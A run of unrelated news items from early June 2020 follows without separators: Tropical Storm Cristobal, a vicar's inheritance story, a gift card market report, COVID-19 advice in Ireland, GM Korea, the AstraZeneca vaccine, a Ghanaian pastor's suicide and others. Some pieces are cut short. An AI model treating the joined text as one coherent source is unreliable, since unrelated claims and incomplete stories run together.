[CLICK HERE FOR THE MOST RECENT NEWS ON CRISTOBAL]

Cristobal strengthened to a tropical storm again on Friday and continued to head for the Gulf Coast.

A tropical storm watch has been upgraded to a warning for part of the Gulf Coast, including Alabama.

The third named storm of 2020 moved back into the Gulf on Friday after being inland over Mexico since making landfall there as a tropical storm on Wednesday.

The National Hurricane Center said Cristobal will continue to track northward tonight and will approach the Louisiana coast by Sunday night.

Cristobal is expected to be a tropical storm  possibly a strong tropical storm  by then.

The hurricane center issued tropical storm and storm surge warnings for the northern Gulf Coast on Friday afternoon. Alabama is included in the tropical storm warning but not the surge warning.

The hurricane center urged those along the northern Gulf Coast to not focus just on where the center is forecast to come onshore.

Cristobal is expected to be a lopsided storm with most of its worst weather on its east side and far removed from the center of circulation, which could greatly affect areas in Mississippi, Alabama and Florida.

Regardless of its exact track and forward speed, Cristobal is expected to have a broad and asymmetric wind field as it approaches the northern Gulf coast, the hurricane center said Friday.

The strongest winds, highest storm surge, and heaviest rains could be well removed from the center of circulation. Therefore, it is important that users do not focus on the exact forecast path of the center of the cyclone.

As of 10 p.m. CDT Friday, Tropical Storm Cristobal was located about 440 miles south of the mouth of the Mississippi River and was moving north at 14 mph.

Cristobals winds increased to 45 mph from 40 mph earlier today. The hurricane center said slow strengthening will be possible over the next 48 hours.

Tropical-storm-force winds extended outward up to 240 miles from the center of the storm as of Friday night.

Here are the U.S. watches as of Friday night:

* A storm surge warning is in effect from the mouth of the Mississippi River to Ocean Springs, Miss. as well as Lake Borgne.

* A storm surge watch is in effect from Indian Pass to Arepika, Fla., and from east of Morgan City, La., to the mouth of the Mississippi River.

* A tropical storm warning is in effect from east of Morgan City, La., to the Okaloosa/Walton County line in Florida as well as Lake Pontchartrain and Lake Maurepas.

* A tropical storm watch is in effect from Intracoastal City to Morgan City, La.

A tropical storm warning for Mexicos eastern Yucatan Peninsula has been dropped.

A tropical storm warning means that tropical storm conditions are expected somewhere within the warning area within the next 36 hours.

A storm surge warning means there is a danger of life-threatening inundation during the next 36 hours.

Surge could reach as high as 3-5 feet in locations from the mouth of the Mississippi River to Ocean Springs, Miss., including Lake Borgne, the hurricane center said, which is an increase from earlier Friday.

The hurricane center said for Alabama the surge could range from 1 to 3 feet along the coast and Mobile Bay.

Cristobal could produce a total of up to 35 inches of rain over parts of Central America and Mexico. The hurricane center warned that deadly flash flooding and mudslides will continue to be possible in those areas.

Heavy rain is also expected along the Gulf coast from east Texas into the Florida Panhandle, starting this weekend. The hurricane center said parts of the eastern and central Gulf Coast and the lower Mississippi Valley could get 4 to 8 inches of rain with local amounts to 12 inches through Wednesday.

Flash flooding will also be possible in Alabama, and the National Weather Service in Mobile has issued a flash flood watch for Mobile and Baldwin counties from Sunday morning through Monday night.

The weather service has upgraded its rainfall projections and now expects 4-6 inches of rain in the watch area, with some spots getting up to 10 inches.

There is a risk of heavy rainfall and flash flooding along portions of the northern and eastern Gulf coast from #Cristobal through early Monday, especially across southeasten Louisiana and southern Mississippi. @NWSWPC https://t.co/OscAzxoD1i? pic.twitter.com/mr9w2XUqdV  National Hurricane Center (@NHC_Atlantic) June 5, 2020

The biggest concern in the short-term for the Alabama coast will be the high risk of rip currents and dangerous surf through the next few days, according to the National Weather Service in Mobile.

Heres the rip current forecast:

Alabama and northwest Florida beaches will have a high risk of rip currents through at least Sunday night thanks to Cristobal.

Coastal flooding will also be likely both Sunday and Monday.

Heavy rain will likely enter the picture from late Saturday through early Monday, especially along the coast, according to the weather service.

Tornadoes will be something to watch for in rain bands on Sunday and Sunday night.

The weather service said the chance for tropical storm force winds was increasing across coastal Alabama but will be dependent on the eventual track of the storm.
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An 81-year-old former vicar who married his 27-year-old Romanian toyboy lover has died alone in a Bucharest hospital - as his widow reveals he 'cried for two days' but is now ready to enjoy his inheritance.

Philip Clements, a retired Church of England vicar, passed away overnight on May 31 in a hospital room that was closed to visitors amid the coronavirus pandemic.

Widow Florin Marin - who is 54 years younger than his husband - said he was upset after Mr Clements passed away but that two days of mourning 'is enough' and that his late husband would not want him to be sad.

Instead, he is now looking forward to enjoying 150,000 he will get from a life insurance policy, a 100,000 house that was put into his name before Mr Clements died, and a 2,000-a-month-for-life pension.

Scroll down for video

Florin Marin, a 27-year-old Romanian model, has revealed that his 81-year-old British husband - retired clergyman Philip Clements - has died and that he will now inherit his estate

Mr Marin (right) said that Mr Clements (left) became sick with a fever last month after he ran out of medication during the coronavirus lockdown, before being taken to hospital. He tested negative for COVID, but died overnight on May 31

Mr Florin (left) said he cried 'for two days' at the death of Mr Clements (right) but 'that is enough' and he is now determined to get on with his life and enjoy the inheritance he has been given

Detailing exactly what he received in the will, Mr Marin said he will get 150,000 from a life insurance policy, a 100,000 apartment in Bucharest that was put into his name, and a 2,000-for-life British pension - unless he remarries

Florin revealed how Mr Clements had fallen ill during the coronavirus lockdown after he was unable to visit his GP in the UK and was left running low on medication.

He insists that Mr Clements refused to go to hospital for several days - developing a fever and becoming disoriented - before he insisted on taking the elderly man himself.

Once in hospital, Florin said he was separated from his husband as he was placed on a quarantined coroanvirus ward amid fears he had the disease.

Tests came back negative and Mr Clements was transferred instead to a cardiac ward, but slipped into a coma and was placed on life support.

Florin said he then received a call around midnight on May 31 from the hospital confirming that his husband had passed away.

'People will think that I am a widow with a black hat who is crying, and I did cry, but two days is enough', Mr Marin revealed in an interview with Mail Online that took place from his 100,000 Bucharest house that Mr Clements bought and put in his name.

'Philip didn't want me to cry, he wanted people to be happy whatever happened.

'I don't want to show people my feelings because my husband died, because some people take advantage of that and there are people who are happy because of your sadness,' he added.

'I am 27 years old and I'm not challenged.'

Mr Marin will enjoy a 2,000 British widower pension for the rest of life unless he remarries.

'He was my husband and this is my right,' he said.

Mr Marin will also get 10,000 from a life insurance policy to organise a funeral, but said it will be a simple ceremony with no wake or party - and that Mr Clements' ashes will be spread in a park in accordance with his will.

In addition, Mr Marin will get around 150,000 from Mr Clements' life insurance policy.

Mr Marin also revealed he will be given 10,000 to arrange a funeral - but in accordance with Mr Clements' wishes he will scatter his ashes in a park without a wake or a party

Mr Clements (left and right) lived and worked as a clergyman before meeting Mr Marin on dating site Gaydar four years ago, when he decided to leave his former life behind and move to Bucharest so they could be together

Mr Clements is pictured among crowds meeting Prince Charles in a glimpse at his life before moving to Romania

Mr Clements (left at a gay pride parade and right at home) briefly split from Florin after disapproving of his late-night visits to clubs and a rumoured affair with a man named Jesus, but the pair eventually reconciled

They lived together in an exclusive community called Cosmopolis (pictured) on the outskirts of the Romanian capital

'My darling people, it is not my fault that left me with this money,' the 27-year-old said.

He added the the amount was 'not that huge, it's not like saying, wow, it's one or two million pounds.'

Mr Marin says he will 'always remember Philip' but hasn't ruled out future relationships.

The couple met on the online dating site Gaydar and got married three years ago in Kent - but their relationship hadn't been plain sailing.

They experienced turbulence early on when Mr Clements tried living in Bucharest.

Rows over Mr Marin's clubbing into the early hours and an alleged affair with a Spaniard named Jesus saw the former vicar move back to England after just a few months, despite having sold his home to live in the Romanian capital.

They were able to keep their romance alive with Whatsapp messaging, however, while Mr Marin moved to work in Spain.

The couple reconciled in March this year after the ex-vicar said he was happy for Mr Marin to visit gay clubs at the weekends with people his own age.

Mr Clements is pictured left during his former life as a priest. Pictured right is a book he wrote on his battle with depression

Early in their relationship, Mr Florin was living and working in Britain but as their relationship progressed they split their time between the UK, Spain and Romania before settling in Bucharest

Mr Clements fell ill during the coronavirus lockdown after running low on medication and initially refused to go to hospital (pictured left at home not long before he died) but was eventually taken there by Florin (pictured on the ward right) where he was put in isolation before passing away

Florin (right) says his husband would not have wanted people to be sad at his passing but to get on and enjoy life - which is exactly what he plans to do. He has not ruled out future relationships, but does not plan to remarry

Mr Clements had been using his church and teaching pension to help pay for their living expenses in their two-bedroom Bucharest home before falling ill.

Mr Marin had said previously he wanted to be Mr Clements' carer and didn't mind the negative opinions people might have.

During the interview Mr Marin recalled the last days he spent with his husband.

He said Mr Clements suffered from a number of health conditions and was prevented from seeing his GP in the UK because of lockdown measures to slow the coronavirus spread.

Disruptions caused by the outbreak also stopped him from receiving his medication from the UK, which may have worsened his conditions, Mr Marin said.

He began to worry about his husband's health after he developed a fever of 40 degrees.

'I thought it could be Covid-19 but I immediately said, no, because we don't go out, we don't meet people. We stayed in the balcony with the mask.'

Mr Marin called an ambulance that rushed Mr Clements to Bucharest's Elias Hospital.

'The last sight I had of him was when he was taken out from the ambulance,' said Mr Marin, who was not allowed to visit due to the restrictions imposed to curb the pandemic.

He handed nurses a letter to give to Mr Clements, and 'told him that everyone who loved him was praying for him in England and that the cat was fine and missing him.

'I told him I loved him and that everything would be fine, but I don't know if he read the letter.'

Mr Clements will be cremated and his ashes spread in 'a park with a lake in Bucharest' as directed in his will.

Philip Clements and Florin Marin on their wedding day in Kent three years ago. After a rift the pair are living reconciled earlier this year in Bucharest, but Mr Clements has now passed away following a period of ill health

Mr Clements and Mr Marin are pictured on their wedding day in Kent, before moving to the Romanian capital of Bucharest

Mr Clements (right) sold his home in Kent for 214,750 before moving to Romania and buying a flat in Bucharest. He returned to England shortly after because the pair experienced turbulence in their relationship, but Mr Clements says they have now reached an understanding and are living together again

Mr Clements (left) is pictured meeting Princess Anne (right) during his former life as a priest before meeting Mr Marin

'He didn't want people to be sad but to be happy, to be themselves,' Mr Marin added.

Mr Clements requested a private funeral attended only by his widower and a handful of relatives and friends as well as a simple religious ceremony held in his memory.

Mr Marin said he will find an Anglican priest to conduct the ceremony as opposed to an Orthodox priest from the socially conservative and anti-gay marriage Romanian Church.

He said he kept provided regular updates to Mr Clements' UK family and friends on his husband's ailing health.

Although Marin was rejected by one of the brothers, he said he is ready to 'forgive what happened in the past' for the sake of his husband.
DUBLIN, June 5, 2020 /PRNewswire/ -- The "China Gift Card and Incentive Card Market Intelligence and Future Growth Dynamics (Databook) - Market Size and Forecast (2015-2024) - Covid-19 Update Q2 2020" report has been added to ResearchAndMarkets.com's offering.

The Chinese economy is expected to bounce back sharply, outperforming global markets. Consequently, both retail and corporate consumer sentiment has turned positive, and in turn support growth of gift card. According to the Global Gift Card Q2 2020 Survey, gift card market is expected to post strongest growth in China in 2020.



In value terms, the gift card market in China has recorded a CAGR of 12.8% during 2015-2019. The gift card industry in China will continue to grow over the forecast period and is expected to record a CAGR of 10.4% during 2020-2024. Gift card market in the country will increase from US$ 116 billion in 2019 to reach US$ 183.7 billion by 2024.



Being the global leader in the e-commerce segment, the increasing number of internet users are driving the strong growth in China. With more than 900 million internet users, adoption of digital gift cards (e-gift cards) in China faster than other comparable markets. Increasingly, gift cards are being integrated into smartphone devices to enable mobile payment. Open loop gift cards and gift cards from leading online retailers are outperforming rest of the market, a trend expected to continue over the forecast period.



Many e-gift card providers do not require users to register with their actual names, therefore ensuring their anonymity and making it impossible to be traced back to an individual. This has provided a boost for the growth of the gift card market in the country.



Increasing corporate spending on gift cards will keep supporting the growth of the market in the years to come. Moreover, the trend of buying bitcoins and altcoins with gift cards is also pushing the growth of the industry. Some of the key third-party providers of gift cards include Alibaba.com and seagm.com.



This report provides a detailed data centric analysis of gift cards and corporate incentive cards market along with consumer behaviour and retail spend dynamics in China. With over 200 KPIs at country level, this report provides comprehensive understanding of gift and incentive card market dynamics. The report includes raw data along with structured dashboards, charts, and tables in an interactive Excel format.



Below is a summary of country level trend analyses covered across gift card segments:

Total gift market: This report provides detailed view of overall spend on gifts, broken down by retail and consumer segments. For both retail and consumer segments, this report provides a breakdown of spend on gifts by product categories (13 segments) and retail sectors (7 segments).

Gift cards: Drawing from proprietary survey results, this report provides in-depth analysis of opportunities in both open loop and closed loop prepaid gift card categories. Assesses consumer behaviour by type of consumer (retail and corporate - SMB, Mid-Tier, Large Enterprise), gifting occasion, digital gift card (e-gift card), and market share by retail sectors.

Details six essential KPIs: number of cards in circulation, load value, unused value, average purchase value, average value per transaction, and value of transactions.

Corporate incentive & loyalty cards: This report provides detailed market dynamics of corporate incentive cards, broadly segmented in three categories - consumer incentive card, employee incentive card, and sales/partner incentive card. It details market size and forecast at category level, by functional attribute (open loop and closed loop), and by corporate consumer segments (small scale business, mid-size business, and enterprise business).

Digital gift card (e-gift card) analysis: Provides market size and forecast for digital gift cards, broken down by retail and corporate buyers. It also includes gift card spend by occasion (retail - festivals & special celebration days, milestone celebration, self-use, other; Corporate incentive cards -consumer incentive card, employee incentive card, and sales/partner incentive card). The report also includes digital gift card adoption by company size.

Open loop and closed loop: Provides market estimates and forecasts to assess opportunities in open loop and closed loop gift and incentive card segments across consumer segments.

Consumer attitude and behaviour: Drawing from proprietary survey results, this report identifies and interprets key KPIs related to gift card dynamics including spend by age, gender, and income level.

Retail spend: Breaks down retail spend across retail sectors (7 segments) to provide detailed insights on consumer behaviour and changing dynamics of gift card spend.

Market share by retailer: Provides market share of closed loop gift cards by key retailers in China .

. Distribution channel analysis: Provides market share by distribution channel - online vs offline sales and 1st party vs 3rd party sales (sales through outlet of other retailers).

List of Chapters



1 China Total Gift Spend Analyzer

2 China Retail Consumer Gift Spend Analyzer

3 China Corporate Consumer Gift Spend Analyzer

4 China Gift Card Spend Analyzer

5 China Digital Gift Card Spend Analyzer

6 China Gift Card Spend Analysis by City Type

7 China Gift Card Spend Share by Demographics and Purchase Behaviour

8 China Retail Consumer Gift Card Spend Analyzer

9 China Retail Consumer Gift Card Spend Analysis by Functional Attribute

10 China Retail Consumer Gift Card Spend Analysis by Occasion

11 China Corporate Consumer Gift Card Spend Analyzer

12 China Corporate Consumer Gift Card Spend Analysis by Functional Attribute

13 China Corporate Consumer Gift Card Spend Analysis by Occasion

14 China Corporate Consumer Gift Card Spend Analysis by Company Size

15 China Corporate Consumer Gift Card Spend Analysis by Company Size X Functional Attribute

16 China Gift Card Spend Analysis by Distribution Channel

17 China Gift Card Spend Analysis by Retail Sector

18 China Retail Consumer Gift Card Spend Analysis by Retail Sector

19 China Corporate Consumer Gift Card Spend Analysis by Retail Sector

20 China Closed Loop Gift Card Market Share Analysis by Top Retailers



Companies Mentioned



Alibaba Group Holding Ltd.

JD.com Inc.

Auchan Group SA

Wal-Mart Stores Inc.

Bailian Group Co. Ltd.

Yonghui Superstores Group

Amazon.com Inc.

Dashang Group Co. Ltd.

Apple Inc.

For more information about this report visit https://www.researchandmarkets.com/r/uha06

Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research.



Media Contact:

Research and Markets

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Sculpting is a beautiful way to experiment with space, color, and form. Here is an activity adapted from the McNay Art Museums downloadable #McNayFromHome Activities page that guides young artist in creating a sculpture with recycled materials.

The lesson is inspired by San Antonio artist Aaron Currys installation HEADROOM displayed at the McNay. According to the museum, Currys installationis a playful exploration of popular art movements like cubism and abstract expressionism.

Find more lessons at mcnayart.org

What you need

For this project you will need recycled cardboard, markers, paint, crayons, scissors, ruler, pencil or pen and optional white paint or spray paint .

How to do it

Prime the cardboard. The brown surface is a little dark, so painting or coating it with white will help prime it for bright colors. White spray paint works well, but you could use any paint or even glue some white paper to the surface.

Color the cardboard. Use your coloring materials to create designs on the primed cardboard.

Create the base of the sculpture. It is important that the shape supports the other stacked pieces. Draw the base shape you want times two. This will be the largest part of the sculpture. You will combine the identical shapes to make a solid base.

Cut it out and stack it. Cut out the base pieces and cut a thin slit in the center of one piece, being careful not to cut all the way across. Position the cut piece at a right angle over the second one and slide the cut slit over it to secure. Trim any excess at the bottom to make the base stand straight and secure.

Second tier. Choose some cardboard piece to be the second tier to stack. These pieces should be smaller than the base shapes. Color and decorate with designs, draw and cut out the shapes. Cut small slits in the new pieces so you can attach them to the base.

Final tier. The third tier can be smaller than the second or the same size. Color, cut and stack the final piece. Take it further. With any extra cardboard or decorated paper, create a platform for your new sculpture just like Aaron Curry.
SCHENECTADY  City police on Friday said they arrested a Middletown man in connection with the shooting death last month of Duane Todman, a talented painter who had just been accepted to a prestigious painting school in Boston. The arrest comes two days after Todman was laid to rest.

Marlone Oindo was charged with second-degree murder and criminal possession and criminal use of a firearm. City detectives and federal marshals apprehended Oindo, 21, at 8 a.m. Friday.

He was arraigned on the offenses and sent to the Schenectady County jail pending a future court appearance.

Todman was shot at point-blank range on the night of May 23 while sitting on the steps of a church at Craig and Stanley streets with a man and woman and after he intervened in a dispute the woman and man walking by them on a city street, according to several people with knowledge of the investigation into the killing.

Todman interceded on the woman's behalf , which led to the passerby crudely asking him what he said, those sources said. Once Todman, repeated himself, the gunman allegedly pulled out his weapon and shot the 27-year-old.

Police said Todman was shot in the neck. He was taken to the hospital where he was pronounced dead.

People who knew Todman said he was humble, loved to be around and rap with creative types, and painted classical still life art.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

A familiar face at the Electric City Barn, Todman had recently won a scholarship to study next year at the Academy of Realist Art Boston, according to Kristen Holler, executive director of the Electric City Barn and the Albany Barn, spaces where artists can work on perfecting their craft.

Before coming to Schenectady, he lived at the Albany Barn.

Wil Rivas, a community activists in Schenectady, said plans are being made to honor Todman's legacy.
People are having house parties "with abandon" but anyone invited to one should stay away, chief medical officer Dr Tony Holohan has warned.

The parties are part of "unseen" breaches of public health advice causing concern and are being held as "though we are not in the midst of a pandemic".

Read More

It was still too early to have these kind of activities and they were against the current public health guidelines to halt the spread of Covid-19, he added.

Earlier this week, in response to questions on intimacy advice in the Netherlands, he agreed it was wise to stick to one partner to reduce the spread of the coronavirus.

He said yesterday it might seem to people that public health officials were policing "pleasurable" aspects of life and advising against them in areas such as house parties or intimacy.

Although there was concern about people congregating on beaches or train platforms, the real worry was about "unseen" activities such as the house parties, he added.

However, he insisted it came back to personal responsibility and people could choose not to organise or attend these kind of gatherings that increased the risk of the virus being passed on.

Avoid crowds, walk away and don't accept invitations to house parties, he urged.

Dr Holohan was speaking after the National Public Health Emergency Team (Nphet) met yesterday and recommended to Government to go ahead with the second phase of easing lockdown next week.

Professor Philip Nolan of Maynooth University, who is heading the team tracking the virus, said there had been a very slight increase in the R number, the measure used to gauge how many people, on average, will be infected for every one person who has the disease. He said it was difficult to measure with precision when cases were low and it was npw between 0.4 and 0.7, compared with 0.6 last week.

However, he described this increase as "marginal" and was confident it was still significantly below one.

Overall he said the "easing of restrictions in phase one of the roadmap had not negatively affected the R number, in no small part thanks to the collective behaviours of our population in preventing resurgence of the disease".

As long as the R value is below one, the number of daily cases will continue to fall.

He said all the main markers of disease were showing a decline and reduction.

The number of new cases a day is at "unprecedented low levels" and there is a slow decline in all settings.

There are an average of 48 new cases confirmed daily compared to around 60 last week.

Last week there were 178 patients in hospital with the virus and that is now down to 144. "We are looking at fewer than 10 admissions a day to hospital," he added.

"The number in intensive care is down to 37 compared to 50 last week with admissions down to around one a day."

A further five deaths from the virus were reported yesterday bringing the total to 1,664.

Asked about the advertisements now being run by airlines promoting flights to Spain and Portugal next month, Dr Holohan said the advice to people at this point was not to book a holiday.

"Now is not the time," he said, and reiterated that people should not engage in any non-essential travel.

Questioned on whether the Republic would follow the advice in Northern Ireland to make the wearing of face covering mandatory on public transport, he said the guideline would remain here that it should be voluntary.
America can be proud of many things: our innovation, generosity and entrepreneurial spirit are unsurpassed. Yet when it comes to our nation understanding one of the greatest gifts ever given to humanitythe Biblewe're moving from dumb to dumber, and it's no laughing matter.
Fine Gael T.D. for Sligo, Leitrim, South Donegal and North Roscommon Frank Feighan has expressed is anger and disappointment about the decision to not to proceed with the planned new Regional Headquarters for Sligo Garda Station.

Speaking after the debate in the Dail last night Deputy Feighan said it has been confirmed on the record of the house tonight that the proposed new Garda Regional Headquarters for Sligo will now not proceed as had been planned.

The new station in Sligo was to form part of a three station PPP construction project which was announced by Minister Frances Fitzgerald in 2016 as part of the 2016-2021 Justice Capital Plan, along with Macroom and Clonmel. The new modern headquarters for Sligo was to replace the small, outdated and for a long period of time, unsafe Garda Station in Sligo town.

This decision, as announced to me by the Minister for Justice Charlie Flanagan tonight, comes despite years of commitments, visits, statements, land purchases and promises that were passed onto the people of Sligo in good faith by local politicians and news agencies. The last reference to it being made in the Dail to Deputy Tony McLoughlin in December 2019. This was two months after the Garda Management structural changes announced by the Garda Commissioner.

Sligo is the capital of the North West Region; we are a growth centre in the Governments Project Ireland 2040 Plan and one of the largest population bases in the region with an ongoing difficulty with drugs gangs and criminality. How a decision to scrap such a badly needed infrastructure facility can be made is beyond me.

I am extremely disappointed about this situation and how we as local politicians have been informed about this situation by the Department of Justice, Garda Management and the OPW. I dont know what has changed since December 2019 or since former Minister for Justice Frances Fitzgerald said that Sligo badly needs a new headquarters.

The rank and file members of the Gardai, politicians and the people in Sligo have been misled about this proposed new station since 2016 and this is not acceptable! The brave men and woman of An Garda Siochana in Sligo deserve a state of the art Garda station to serve the citizens of the North West.

As a result, I am now seeking to meet with the Garda Commissioner and with local Garda management to discuss this issue and to outline my disappointment about this decision and to seek to have this decision overturned.
By Nam Hyun-woo





An aerial view of GM Korea's Logistics Optimization Center in Bupyeong-gu, Incheon. / Captured from Naver

GM Korea and SsangYong Motor are on an asset-selling spree in a desperate move to secure liquidity amid plunging vehicle sales stemming from the COVID-19 outbreak, according to industry officials, Friday.



According to GM Korea, it has notified its union members about its intent to sell off its Bupyeong Logistics Optimization Center (LOC) and its site near the company's plant in Incheon. Given the government-appraised value of the 9,900-square-meter site was about 14 billion won ($11.5 million), the combined market value of the building and site could reach at least 40 billion won.



The move is the latest development in GM Korea's detailed plans to overcome a sales slowdown as the COVID-19 outbreak hits sales. Last year, the company closed a separate logistics center in Incheon, and two more logistics centers in Changwon, South Gyeongsang Province, and Jeju Island earlier this year. Those centers will be merged into a logistics center in Sejong, which will be GM's only logistics center in the country.



"This is in line with GM Korea's normalization efforts since 2018," a GM Korea official said. "By merging logistics centers, we are seeking to minimize costs and make the best use of our assets amid the slowdown of the car industry."



The official said the Bupyeong LOC closure would not involve job losses as employees would be relocated to the nearby assembly plant.



GM Korea has been reporting operating losses since 2014. Domestic sales and exports during the January-May period this year plunged 28.1 percent to 140,053 vehicles from 194,721 during the same period a year earlier.





SsangYong Motor service center in Guro-dong, Seoul. / Courtesy of SsangYong Motor



GM is following cash-strapped SsangYong Motor.






Published on 2020/06/04 | Source

Netflix's "Move to Heaven" confirmed Hong Seung-hee in the lead role and Ji Jin-hee and Lee Jae-wook as special appearances.

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Ji Jin-hee and Lee Jae-wook as well as Hong Seung-hee are joining "Move to Heaven", a fresh collaboration by Lee Je-hoon and Tang Jun-sang. It is a Netflix Original Series about an ex-convict and a trauma cleaner who reach realizations about life and death.

Ji Jin-hee makes a special appearance as Geu-roo's (Tang Jun-sang) father, Jeong-woo. Jeong-woo is a warm-hearted character who runs "Move to Heaven" a trauma cleaning company, with his son Geu-roo, who has Asperger's syndrome. Jeong-woo designated his brother, Sang-goo (Lee Je-hoon), who was released from prison, as Geu-roo's guardian, playing a decisive role in the first meeting between Sang-goo and Geu-roo, who did not know of each others' existence. Lee Jae-wook makes a special appearance as Soo-cheol. Soo-cheol is a character who learned to fight from Sang-goo in the past and is deeply related to why Sang-goo went to prison. As soon as he appears, he is expected to stimulate curiosity about Sang-goo's past and hidden stories.

Hong Seung-hee plays Na-moo, who leads the story with Sang-goo and Geu-roo. Na-moo lives next door to Geu-roo and considers him family and keeps an eye on Sang-goo, who is suddenly appointed as Geu-roo's guardian, trying to protect him.

"Move to Heaven" is raising anticipation with a strong cast of actors who have outstanding acting skills, various charms and characteristics.

___________

"Move to Heaven" is directed by Kim Seong-ho, written by Yoon Ji-ryeon, and features Lee Je-hoon, Tang Jun-sang, Hong Seung-hee, Ji Jin-hee, Lee Jae-wook. Broadcasting information in Korea: 2020~Upcoming, on Netflix.
A Nigerian woman identified as Esther Okoro has taken to microblogging platform, Twitter to call on authorities to arrest a man who publicly bragged about raping a minor.

According to Ms Okoro, the man confessed right in front of a camera how he raped a 12-year-old girl and absolutely felt no remorse.

She tweeted that the man refers to himself as a pastor, and claims to live at Jakande estate in the mainland of Lagos believes he has done no wrong.

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Please I am calling on the good people of Nigeria, we need to find this man, he is a RAPIST, he raped a 12 years old girl and he feels no remorse at all, he believes he has done no wrong because he was feeling the girl. Please RT till we find him and bring him to justice.

Read Also: Atiku Calls Uwaila Omozuwa Family; Calls For Review Of Rape Laws

Hes said to be living in Jakande estate in the mainland of Lagos and he apparently calls himself pastor. Pls RT, we need to find this man and get justice for this little girl he has traumatized. @PoliceNG @jidesanwoolu @JokeSanwoolu @cece_yara @falzthebahdguy #StopRapingWomen
SBCs Ronnie Floyd says George Floyd was murdered and only Jesus, not politics can fix racism

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Ronnie Floyd, president and CEO of the Southern Baptist Conventions Executive Committee, said 46-year-old African American George Floyd who died in police custody in Minneapolis on Memorial Day was murdered in plain sight and only Jesus, not politics, can fix Americas enduring racism.

We have witnessed with our own eyes, in the streets of one of our major cities, a black man being murdered slowly and cruelly. Over the course of a long eight minutes, George Floyd cried out for help and mercy while a white police officer continued to place his knee over this black man's neck as his face was forced onto the pavement. The end result: George Floyd died in a cruel, demeaning, and needless way, Floyd wrote in an op-ed for Baptist Press Tuesday.

Findings of an independent autopsy released Monday said Floyd died by asphyxia. The Hennepin County Medical Examiner's also called his death a homicide Monday, noting that he suffered "a cardiopulmonary arrest while being restrained by law enforcement officer(s)." The medical examiner's office listed "arteriosclerotic and hypertensive heart disease," "fentanyl intoxication" and "recent methamphetamine use" as "other significant conditions."

Derek Chauvin, a former Minneapolis police officer who was recorded kneeling into Floyds neck in a video online, was arrested and charged with third-degree murder and manslaughter on Friday. Lawyers for Floyds family are calling for first degree murder charges as well as the prosecution of three other officers who were involved in the incident that has sparked protests and riots nationwide.

The SBC leader noted that racism that disproportionately impacts African Americans today is inextricably tied to the past and reminded members of the worlds largest Baptist denomination that it does not align with the teachings of the Bible.

I want to remind us today that the Southern Baptist Convention believes and stands upon the infallibility, inerrancy, and sufficiency of the Holy Scriptures, and we believe those Scriptures are very clear regarding how we are to treat others. The Baptist Faith and Message states in Article XV, In the spirit of Christ, Christians should oppose racism, and We should speak on behalf of the unborn and contend for the sanctity of all human life from conception to natural death, he wrote.

Southern Baptists must not only be known to stand for the sanctity of human life, but we must also be known to stand for the dignity of all human life regardless of the color of skin.

Politics, he argued, could not provide a solution to racism because it is a spiritual problem that only Jesus can fix.

There is no way the government can fix this problem. Nor can one's politics provide healing. It never has and never will. This is a problem of the human heart. It is a spiritual problem, he said.

Jesus Christ is the only answer to this problem, and we must start with ourselves. We need to return to Jesus Christ in deep repentance of sin. Until we repent and change the way we are looking at one another, talking to one another, and treating one another, spiritual revival and awakening will not come.

Southern Baptist leaders previously issued a statement calling for the end of "racial inequity in the distribution of justice in our country" in the wake of Floyds death.

While we thank God for our law enforcement officers that bravely risk their lives for the sake of others and uphold justice with dignity and integrity, we also lament when some law enforcement officers misuse their authority and bring unnecessary harm on the people they are called to protect, the statement co-authored by SBC President J.D. Greear and New Orleans Baptist Theological Seminary President Jamie Dew said. We further grieve with our minority brothers and sisters in the wake of George Floyds death, pray for his family and friends and greatly desire to see the misuse of force and any inequitable distributions of justice come to an end.
The Pokemon Company has uploaded a new video to its official Pokemon Kids TV YouTube Channel, and its a throwback -- not to the era of the original 151 characters, but to the time of slapstick cartoons. The short features a confrontation between Scraggy and the creepy Mimikyu, and has all the hallmarks of an early Looney Tunes cartoon. A shaky title card with concentric rings immediately sets the stage for the vintage inspired animation, and what follows is right out of the old Warner Bros playbook.

The Japanese Pokemon Kids TV channel usually hosts CGI videos featuring the popular characters, including singalongs and short stories. Clips of kids interacting with actors donned in mascot suits are also a popular part of the channel. This short is a treat for an international audience, though, since there is no dialog. Its also nice to see some 2D -- albeit digital -- animation on the channel. Hopefully this can bring a moment of joy to what has been a rough week.
One of the programs championed by the White House's Warp Speed coronavirus vaccine project took another step forward Thursday. AstraZeneca (NASDAQ:AZN) signed new agreements on Thursday that will raise the global supply capacity for its experimental SARS-CoV-2 vaccine candidate to more than 2 billion doses.

Making alliances

The experimental vaccine candidate that AstraZeneca licensed from Oxford University, ChAdOx1 nCoV-19, has a new name: AZD1222. It uses a non-replicating virus to carry genetic material for the SARS-CoV-2 spike protein, which should prime the immune system to attack the actual virus if encountered.

In May, AstraZeneca agreed to supply 400 million doses of AZD1222 to the U.S. and UK. On Thursday, the company reached a $750 million agreement with the Coalition for Epidemic Preparedness Innovations (CEPI), Gavi the Vaccine Alliance, and the Serum Institute of India (SII) to supply 1 billion doses to low and middle-income countries.

Testing under way

A phase 2/3 trial of AZD1222 with around 10,000 volunteers has already begun, and other late-stage studies with the vaccine candidate are expected to begin soon. Vaccine development can often be a frustrating endeavor, and there's a strong chance that AZD1222 won't be as effective as is hoped. Despite the risks, AstraZeneca is crossing its fingers and preparing to scale up manufacturing capacity without waiting for evidence the experimental vaccine works.

While demand for a SARS-CoV-2 vaccine is sky high, AstraZeneca has said it will provide access to AZD1222 to people around the world at no profit during the pandemic.
A 40-year-old pastor of Jesus Healing Prayer camp in Awutu Ofaakor in the Central Region has allegedly committed suicide.

The pastor known by his peers as Peter allegedly hunged himself on Wednesday evening.

Although the reason behind the suicide is not yet known, sources say the pastor allegedly committed the act after his wife divorced him.

Some church members who spoke to Citi News expressed shock at the development.

I heard a loud noise from the house of the pastor and I rushed into his house only to find him hanging on a sponge in his room, one said.

This is the first time such a thing has happened in this area so we are surprised, he added.

Another church member told Citi News that the pastor moved to the area not too long ago.

The pastor was staying in Nigeria with one of my friends but later moved to Ghana and started his church and I also started attending the church since he was a good pastor. I am surprised to hear that he is dead, another church member said.

Asafoatse of Awutu Ofaakor Asafoatse Duah Quaye who spoke to Citi News believes the man of God committed suicide as a result of the challenges he was facing in his marriage.

He noted that the chiefs and people of Awutu Ofaakor will perform some traditional rites to pacify the gods.

